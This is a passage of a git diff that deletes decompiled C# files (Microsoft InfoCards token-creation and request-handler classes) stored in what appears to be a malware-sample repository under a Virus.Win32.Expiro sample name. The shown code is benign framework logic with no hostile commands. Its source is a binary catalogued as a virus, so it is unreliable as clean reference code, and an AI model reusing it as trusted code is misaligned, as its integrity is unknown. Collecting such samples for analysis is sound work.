cryptoServiceProvider = (RSACryptoServiceProvider) null; - SymmetricAlgorithm symmetricProof = (SymmetricAlgorithm) null; - if (!string.IsNullOrEmpty(policy.OptionalRstParams.SignatureAlgorithm)) - this.m_signatureAlgorithm = policy.OptionalRstParams.SignatureAlgorithm; - if (!string.IsNullOrEmpty(policy.OptionalRstParams.EncryptionAlgorithm)) - this.m_encryptionAlgorithm = policy.OptionalRstParams.EncryptionAlgorithm; - TokenDescriptor tokenDescriptor; - try - { - List claimSet = this.GetClaimSet(card, policy, discloseOptional); - List disclosedClaims = new List(claimSet.Count); - for (int index = 0; index < claimSet.Count; ++index) - disclosedClaims.Add(claimSet[index].Id); - SamlSecurityToken samlToken; - DisplayToken displayToken; - XmlElement protectedToken; - using (RSACryptoServiceProvider publicCryptography = card.GetPublicCryptography(policy.Recipient.GetIdentifier())) - { - SecurityKeyIdentifier issuerKeyIdentifier = new SecurityKeyIdentifier(new SecurityKeyIdentifierClause[1] - { - (SecurityKeyIdentifierClause) new RsaKeyIdentifierClause((RSA) publicCryptography) - }); - SecurityKeyIdentifier proofKeyIdentifier; - SecurityKey proofCryptoInsideSamlToken; - if (policy.KeyType == SecurityKeyTypeInternal.SymmetricKey) - { - InfoCardTrace.Assert(policy.ImmediateTokenRecipient is X509RecipientIdentity, "Symmetric key type is not allowed when no certifcate is provided for the token recipeint"); - this.m_keyWrapAlgorithm = SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm; - InfoCardTrace.Assert("http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p" == this.m_keyWrapAlgorithm, "What we have chosen"); - this.m_encryptWithAlgorithm = string.IsNullOrEmpty(policy.OptionalRstParams.EncryptWith) ? SecurityAlgorithmSuite.Default.DefaultEncryptionAlgorithm : policy.OptionalRstParams.EncryptWith; - symmetricProof = (SymmetricAlgorithm) new RijndaelManaged(); - SecurityAlgorithmSuite securityAlgorithmSuite; - switch (this.m_encryptWithAlgorithm) - { - case "http://www.w3.org/2001/04/xmlenc#aes128-cbc": - securityAlgorithmSuite = SecurityAlgorithmSuite.Basic128; - break; - case "http://www.w3.org/2001/04/xmlenc#aes192-cbc": - securityAlgorithmSuite = SecurityAlgorithmSuite.Basic192; - break; - case "http://www.w3.org/2001/04/xmlenc#aes256-cbc": - securityAlgorithmSuite = SecurityAlgorithmSuite.Basic256; - break; - case "http://www.w3.org/2001/04/xmlenc#tripledes-cbc": - securityAlgorithmSuite = SecurityAlgorithmSuite.TripleDes; - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("UnsupportedEncryptWithAlgorithm", (object) this.m_encryptWithAlgorithm))); - } - symmetricProof.KeySize = securityAlgorithmSuite.DefaultSymmetricKeyLength; - X509SecurityToken x509SecurityToken = new X509SecurityToken(((X509RecipientIdentity) policy.ImmediateTokenRecipient).LeafCertificate, Guid.NewGuid().ToString()); - SecurityKeyIdentifier encryptingKeyIdentifier = new SecurityKeyIdentifier(new SecurityKeyIdentifierClause[1] - { - (SecurityKeyIdentifierClause) x509SecurityToken.CreateKeyIdentifierClause() - }); - proofKeyIdentifier = new SecurityKeyIdentifier(new SecurityKeyIdentifierClause[1] - { - (SecurityKeyIdentifierClause) new EncryptedKeyIdentifierClause(x509SecurityToken.SecurityKeys[0].EncryptKey(this.m_keyWrapAlgorithm, symmetricProof.Key), this.m_keyWrapAlgorithm, encryptingKeyIdentifier) - }); - proofCryptoInsideSamlToken = (SecurityKey) new InMemorySymmetricSecurityKey(symmetricProof.Key); - this.ThrowIfProofKeyOperationsNotSupported(policy, proofCryptoInsideSamlToken); - } - else if (SecurityKeyTypeInternal.AsymmetricKey == policy.KeyType) - { - this.m_encryptWithAlgorithm = string.IsNullOrEmpty(policy.OptionalRstParams.EncryptWith) ? SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm : policy.OptionalRstParams.EncryptWith; - this.m_keyWrapAlgorithm = this.m_encryptWithAlgorithm; - symmetricProof = (SymmetricAlgorithm) null; - cryptoServiceProvider = publicCryptography; - proofKeyIdentifier = new SecurityKeyIdentifier(new SecurityKeyIdentifierClause[1] - { - (SecurityKeyIdentifierClause) new RsaKeyIdentifierClause((RSA) cryptoServiceProvider) - }); - proofCryptoInsideSamlToken = proofKeyIdentifier.CreateKey(); - this.ThrowIfProofKeyOperationsNotSupported(policy, proofCryptoInsideSamlToken); - } - else - { - this.m_keyWrapAlgorithm = SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm; - InfoCardTrace.Assert("http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p" == this.m_keyWrapAlgorithm, "What we have chosen"); - InfoCardTrace.Assert(SecurityKeyTypeInternal.NoKey == policy.KeyType, "Bad enum member for SecurityKeyTypeInternal."); - proofKeyIdentifier = (SecurityKeyIdentifier) null; - proofCryptoInsideSamlToken = (SecurityKey) null; - } - using (SelfIssuedAuthAsymmetricKey issuerSigningKey = new SelfIssuedAuthAsymmetricKey(card.GetPrivateCryptography(policy.Recipient.GetIdentifier()))) - { - Uri uri = policy.ImmediateTokenRecipient.Address.Uri; - if ((EndpointAddress) null != policy.PolicyAppliesTo) - uri = policy.PolicyAppliesTo.Uri; - samlToken = this.CreateSamlToken(claimSet, issuerKeyIdentifier, proofKeyIdentifier, proofCryptoInsideSamlToken, (SecurityKey) issuerSigningKey, uri); - displayToken = this.CreateDisplayToken(claimSet); - if (policy.ImmediateTokenRecipient is X509RecipientIdentity immediateTokenRecipient) - { - protectedToken = EncryptionUtility.EncryptSecurityToken((SecurityToken) samlToken, immediateTokenRecipient.LeafCertificate, this.m_encryptionAlgorithm, this.m_keyWrapAlgorithm, policy.ProtocolVersionProfile); - } - else - { - MemoryStream input = new MemoryStream(); - XmlDictionaryWriter dictionaryWriter = XmlDictionaryWriter.CreateDictionaryWriter((XmlWriter) new XmlTextWriter((TextWriter) new StreamWriter((Stream) input))); - policy.ProtocolVersionProfile.TokenSerializer.WriteToken((XmlWriter) dictionaryWriter, (SecurityToken) samlToken); - dictionaryWriter.Flush(); - input.Seek(0L, SeekOrigin.Begin); - protectedToken = (XmlElement) new XmlDocument().ReadNode((XmlReader) Utility.CreateReaderWithQuotas((Stream) input)); - Array.Clear((Array) input.GetBuffer(), 0, Convert.ToInt32(input.Length)); - input.Close(); - } - } - } - StringWriter w = new StringWriter((IFormatProvider) CultureInfo.InvariantCulture); - policy.ProtocolVersionProfile.TokenSerializer.WriteKeyIdentifierClause((XmlWriter) XmlDictionaryWriter.CreateDictionaryWriter((XmlWriter) new XmlTextWriter((TextWriter) w)), (SecurityKeyIdentifierClause) new SamlAssertionKeyIdentifierClause(samlToken.Id)); - w.Flush(); - string str = w.GetStringBuilder().ToString(); - tokenDescriptor = new TokenDescriptor(samlToken.Id, samlToken.ValidFrom, samlToken.ValidTo, protectedToken, displayToken, symmetricProof, str, str, (IEnumerable) disclosedClaims); - symmetricProof = (SymmetricAlgorithm) null; - } - catch (InfoCardBaseException ex) - { - throw; - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException((string) null, ex)); - throw; - } - finally - { - cryptoServiceProvider?.Dispose(); - symmetricProof?.Dispose(); - } - return tokenDescriptor; - } - - private void ThrowIfProofKeyOperationsNotSupported( - InfoCardPolicy policy, - SecurityKey proofCryptoInsideSamlToken) - { - if (!string.IsNullOrEmpty(policy.OptionalRstParams.SignWith) && !proofCryptoInsideSamlToken.IsSupportedAlgorithm(policy.OptionalRstParams.SignWith)) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("UnsupportedSignWithAlgorithm", (object) policy.OptionalRstParams.SignWith))); - if (!proofCryptoInsideSamlToken.IsSupportedAlgorithm(this.m_encryptWithAlgorithm)) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("UnsupportedEncryptWithAlgorithm", (object) this.m_encryptWithAlgorithm))); - } - - private SamlSecurityToken CreateSamlToken( - List claims, - SecurityKeyIdentifier issuerKeyIdentifier, - SecurityKeyIdentifier proofKeyIdentifier, - SecurityKey proofCryptoInsideSamlToken, - SecurityKey issuerSigningKey, - Uri immediateTokenRecipientUri) - { - DateTime utcNow = DateTime.UtcNow; - SamlAudienceRestrictionCondition restrictionCondition = new SamlAudienceRestrictionCondition((IEnumerable) new Collection() - { - immediateTokenRecipientUri - }); - SamlConditions samlConditions = new SamlConditions(utcNow, utcNow.Add(SelfIssuedSamlTokenFactory.TokenLifetime), (IEnumerable) new Collection() - { - (SamlCondition) restrictionCondition - }); - SamlSubject samlSubject = new SamlSubject((string) null, (string) null, (string) null, (IEnumerable) new string[1] - { - proofKeyIdentifier != null ? SamlConstants.HolderOfKey : "urn:oasis:names:tc:SAML:1.0:cm:bearer" - }, (string) null, proofKeyIdentifier); - if (proofCryptoInsideSamlToken != null) - samlSubject.Crypto = proofCryptoInsideSamlToken; - List attributes = new List(claims.Count); - char[] chArray = new char[1]{ '/' }; - for (int index = 0; index < claims.Count; ++index) - { - string[] strArray = claims[index].Id.Split(chArray); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == strArray.Length, "claimUri"); - string attributeName = strArray[strArray.Length - 1]; - if (claims[index].Id == InfoCardConstants.Gender) - InfoCardTrace.Assert(claims[index].Value == "0" || claims[index].Value == "1" || claims[index].Value == "2", "Wrong value type for gender claim, only values '0' (Unspecified), '1' (Male) and '2' (Female) are allowed "); - if (claims[index].Id == InfoCardConstants.DateOfBirth) - { - DateTime universalTime = DateTime.Parse(claims[index].Value, (IFormatProvider) CultureInfo.InvariantCulture).ToUniversalTime(); - InfoCardTrace.Assert(true, "Invalid value for date of birth "); - attributes.Add(new SamlAttribute("http://schemas.xmlsoap.org/ws/2005/05/identity/claims", attributeName, (IEnumerable) new string[1] - { - XmlConvert.ToString(universalTime, XmlDateTimeSerializationMode.Utc) - })); - } - else - attributes.Add(new SamlAttribute("http://schemas.xmlsoap.org/ws/2005/05/identity/claims", attributeName, (IEnumerable) new string[1] - { - claims[index].ToString() - })); - } - SamlAttributeStatement attributeStatement = new SamlAttributeStatement(samlSubject, (IEnumerable) attributes); - SamlAssertion assertion = new SamlAssertion("SamlSecurityToken-" + Guid.NewGuid().ToString(), "http://schemas.xmlsoap.org/ws/2005/05/identity/issuer/self", utcNow, samlConditions, (SamlAdvice) null, (IEnumerable) new List(1) - { - (SamlStatement) attributeStatement - }); - if (!issuerSigningKey.IsSupportedAlgorithm(this.m_signatureAlgorithm)) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("UnsupportedSignatureAlgorithm", (object) this.m_signatureAlgorithm))); - assertion.SigningCredentials = new SigningCredentials(issuerSigningKey, this.m_signatureAlgorithm, "http://www.w3.org/2000/09/xmldsig#sha1", issuerKeyIdentifier); - return new SamlSecurityToken(assertion); - } - - private DisplayToken CreateDisplayToken(List claims) - { - List claimList = new List(); - for (int index = 0; index < claims.Count; ++index) - { - DisplayClaim displayClaim = new DisplayClaim(InfoCardConstants.ClaimDisplayTag(claims[index].Id.ToString()), new List() - { - claims[index].Value - }, InfoCardConstants.ClaimsDescription(claims[index].Id.ToString()), claims[index].Id.ToString()); - claimList.Add(displayClaim); - } - return new DisplayToken(claimList); - } - - private List GetClaimSet( - InfoCard card, - InfoCardPolicy policy, - bool discloseOptional) - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - List intersectedClaims = (List) null; - if (policy.RequiredClaims != null) - { - intersectedClaims = new List(policy.RequiredClaims.Length); - this.AddClaimsThatIntersect(policy.RequiredClaims, false, card.GetClaims(), policy.ImmediateTokenRecipient.GetOrganizationIdentifier(), card.Id, intersectedClaims); - } - if (discloseOptional && policy.OptionalClaims != null) - { - if (intersectedClaims == null) - intersectedClaims = new List(policy.OptionalClaims.Length); - this.AddClaimsThatIntersect(policy.OptionalClaims, true, card.GetClaims(), policy.ImmediateTokenRecipient.GetOrganizationIdentifier(), card.Id, intersectedClaims); - } - return intersectedClaims; - } - finally - { - connection.Close(); - } - } - - private void AddClaimsThatIntersect( - string[] policyClaims, - bool processingOptionalClaims, - InfoCardClaimCollection claims, - string recipientidentifier, - Uri cardId, - List intersectedClaims) - { - foreach (string policyClaim in policyClaims) - { - if (policyClaim == InfoCardConstants.PPIDClaimsUri) - { - string ppid = Utility.CreatePpid(Convert.FromBase64String(recipientidentifier), cardId); - intersectedClaims.Add(new InfoCardClaim(InfoCardConstants.PPIDClaimsUri, ppid)); - } - else if (!processingOptionalClaims) - { - InfoCardTrace.ThrowInvalidArgumentConditional(!claims.ContainsKey(policyClaim) || claims[policyClaim] == null || string.IsNullOrEmpty(claims[policyClaim].Value), "policyClaimUri"); - intersectedClaims.Add(claims[policyClaim]); - } - else - { - InfoCardClaim infoCardClaim = (InfoCardClaim) null; - if (claims.ContainsKey(policyClaim)) - infoCardClaim = claims[policyClaim]; - if (infoCardClaim != null && !string.IsNullOrEmpty(infoCardClaim.Value)) - intersectedClaims.Add(infoCardClaim); - } - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SelfIssuedTokenFactoryCredential.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SelfIssuedTokenFactoryCredential.cs deleted file mode 100644 index 37ef9aef..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SelfIssuedTokenFactoryCredential.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SelfIssuedTokenFactoryCredential -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class SelfIssuedTokenFactoryCredential : TokenFactoryCredential - { - private InfoCard m_localCard; - - public SelfIssuedTokenFactoryCredential() - : base(TokenFactoryCredentialType.SelfIssuedCredential) - { - } - - public InfoCard LocalCard => this.m_localCard; - - protected override void DeserializeData(BinaryReader reader) => this.m_localCard = new InfoCard(reader.BaseStream); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SendAgentStatusRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SendAgentStatusRequest.cs deleted file mode 100644 index 7089aae1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SendAgentStatusRequest.cs +++ /dev/null @@ -1,63 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SendAgentStatusRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class SendAgentStatusRequest : UIAgentRequest - { - private SendAgentStatusRequest.AgentStatusType m_agentStatus; - private bool m_retVal; - private uint m_ATApplicationsFlags; - - public SendAgentStatusRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parentRequest) - : base(rpcHandle, inArgs, outArgs, parentRequest) - { - } - - protected override void OnMarshalInArgs() - { - InfoCardTrace.Assert(this.InArgs.Length > 0L, "The agent status must be specified"); - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - this.m_agentStatus = (SendAgentStatusRequest.AgentStatusType) binaryReader.ReadUInt32(); - this.m_ATApplicationsFlags = binaryReader.ReadUInt32(); - } - - protected override void OnProcess() - { - this.m_retVal = false; - switch (this.m_agentStatus) - { - case SendAgentStatusRequest.AgentStatusType.AGENT_DESKTOP_CREATED: - case SendAgentStatusRequest.AgentStatusType.AGENT_DESKTOP_SWITCH_IN: - this.ParentRequest.StartAccessibilityApplications(this.m_ATApplicationsFlags); - break; - case SendAgentStatusRequest.AgentStatusType.AGENT_DESKTOP_SWITCH_OUT: - this.m_retVal = this.ParentRequest.RestartAccessibilityApplications(); - break; - } - } - - protected override void OnMarshalOutArgs() => new BinaryWriter(this.OutArgs, Encoding.Unicode).Write(this.m_retVal); - - public enum AgentStatusType - { - AGENT_INITIALIZING, - AGENT_DESKTOP_CREATED, - AGENT_DESKTOP_SWITCH_OUT, - AGENT_DESKTOP_SWITCH_IN, - AGENT_SHUTTING_DOWN, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SerializationIncompleteException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SerializationIncompleteException.cs deleted file mode 100644 index 9dda56d0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SerializationIncompleteException.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SerializationIncompleteException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; - -namespace Microsoft.InfoCards -{ - internal class SerializationIncompleteException : Exception - { - private Type m_type; - - public SerializationIncompleteException(Type type) => this.m_type = type; - - public Type ObjectType => this.m_type; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ServiceBusyException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ServiceBusyException.cs deleted file mode 100644 index b6949f65..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ServiceBusyException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ServiceBusyException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class ServiceBusyException : InfoCardBaseException - { - private const int HRESULT = -1073413875; - - public ServiceBusyException() - : base(-1073413875) - { - } - - public ServiceBusyException(string message) - : base(-1073413875, message) - { - } - - public ServiceBusyException(string message, Exception inner) - : base(-1073413875, message, inner) - { - } - - protected ServiceBusyException(SerializationInfo si, StreamingContext sc) - : base(-1073413875, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SetUserLanguageRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SetUserLanguageRequest.cs deleted file mode 100644 index d1850785..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SetUserLanguageRequest.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SetUserLanguageRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class SetUserLanguageRequest : UIAgentRequest - { - private int m_lcid; - - public SetUserLanguageRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() => this.m_lcid = (int) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode).ReadUInt32(); - - protected override void OnProcess() => this.ParentRequest.UserLanguage = this.m_lcid; - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SetUserPreferenceRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SetUserPreferenceRequest.cs deleted file mode 100644 index db94bcaa..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SetUserPreferenceRequest.cs +++ /dev/null @@ -1,60 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SetUserPreferenceRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class SetUserPreferenceRequest : UIAgentRequest - { - private UserPreference m_userPreferences; - - public SetUserPreferenceRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - InfoCardTrace.Assert(this.InArgs.Length > 0L, "The user preferences must be specified"); - this.m_userPreferences = new UserPreference(this.InArgs); - } - - protected override void OnProcess() - { - InfoCardTrace.Assert(null != this.m_userPreferences, "OnMarshalInArgs must be called prior to calling OnProcess"); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - connection.BeginTransaction(); - try - { - this.m_userPreferences.Save(connection); - connection.CommitTransaction(); - } - catch - { - connection.RollbackTransaction(); - throw; - } - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SignHashRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SignHashRequest.cs deleted file mode 100644 index 2c7df476..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SignHashRequest.cs +++ /dev/null @@ -1,51 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SignHashRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class SignHashRequest : ClientRequest - { - private int m_sessionId; - private byte[] m_hash; - private string m_hashAlgOid; - private byte[] m_sig; - - public SignHashRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - this.m_sig = (byte[]) null; - } - - protected override void OnMarshalInArgs() - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - this.m_sessionId = reader.ReadInt32(); - int count = reader.ReadInt32(); - this.m_hash = reader.ReadBytes(count); - this.m_hashAlgOid = Utility.DeserializeString(reader); - } - - protected override void OnProcess() => this.m_sig = ((AsymmetricCryptoSession) CryptoSession.Find(this.m_sessionId, this.CallerPid, this.RequestorIdentity.User)).SignHash(this.m_hash, this.m_hashAlgOid); - - protected override void OnMarshalOutArgs() - { - BinaryWriter binaryWriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - binaryWriter.Write(this.m_sig.Length); - binaryWriter.Write(this.m_sig); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SignatureHeader.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SignatureHeader.cs deleted file mode 100644 index 7fdfd8fc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SignatureHeader.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SignatureHeader -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal struct SignatureHeader - { - public const int IVSize = 16; - public const int SignatureOffset = 4; - public const int IVOffset = 20; - public int SignatureSize; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)] - public byte Signature; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/StorableObjectType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/StorableObjectType.cs deleted file mode 100644 index 87283a54..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/StorableObjectType.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.StorableObjectType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -namespace Microsoft.InfoCards -{ - internal enum StorableObjectType - { - Recipient = -3, // 0xFFFFFFFD - UserPreferences = -2, // 0xFFFFFFFE - LedgerEntry = -1, // 0xFFFFFFFF - Unknown = 0, - InfoCard = 1, - InfoCardClaims = 2, - InfoCardMasterkey = 3, - InfocardExtendedInformation = 4, - RPIdentityRequirement = 5, - } -} diff --git 